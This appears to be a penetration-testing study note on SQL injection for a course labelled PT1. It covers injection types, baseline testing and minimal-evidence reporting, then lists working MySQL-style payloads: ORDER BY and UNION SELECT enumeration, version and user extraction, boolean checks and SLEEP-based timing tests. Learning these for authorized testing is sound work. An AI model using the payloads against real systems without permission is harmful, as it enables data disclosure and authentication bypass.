SQL Injection (SQLi) happens when attacker-controlled input is used to build a database query without safe parameterization. Impact ranges from data disclosure to authentication bypass and (in some cases) RCE via DB features.
PT1 focus: quickly identify SQLi type (error/union/boolean/time), confirm impact, and document a clean reproduction + remediation.
Baseline first: capture a normal request/response and compare size/status/time when you test payloads.
UNION SELECT to merge attacker-controlled rows into the response.SLEEP(5). PostgreSQL: pg_sleep(5). MSSQL: WAITFOR DELAY '00:00:05'.ORDER BY or UNION NULLs.NULL with marker values.Rule: prove impact with minimal data. Don’t dump everything. Capture evidence.
1' ORDER BY 1-- -
1' ORDER BY 2-- -
1' ORDER BY 3-- -
1' UNION SELECT NULL-- -
1' UNION SELECT NULL,NULL-- -
1' UNION SELECT NULL,NULL,NULL-- -
1' UNION SELECT 'INJECT',NULL,NULL-- -
1' UNION SELECT NULL,'INJECT',NULL-- -
-- MySQL-ish examples
1' UNION SELECT @@version, user(), database()-- -
1' AND 1=1-- -
1' AND 1=2-- -
1' AND SLEEP(5)-- -
1' AND (SELECT 1 FROM (SELECT SLEEP(5))x)-- -
Cheat sheet: if you need more payload variants: payload-box/sql-injection-payload-list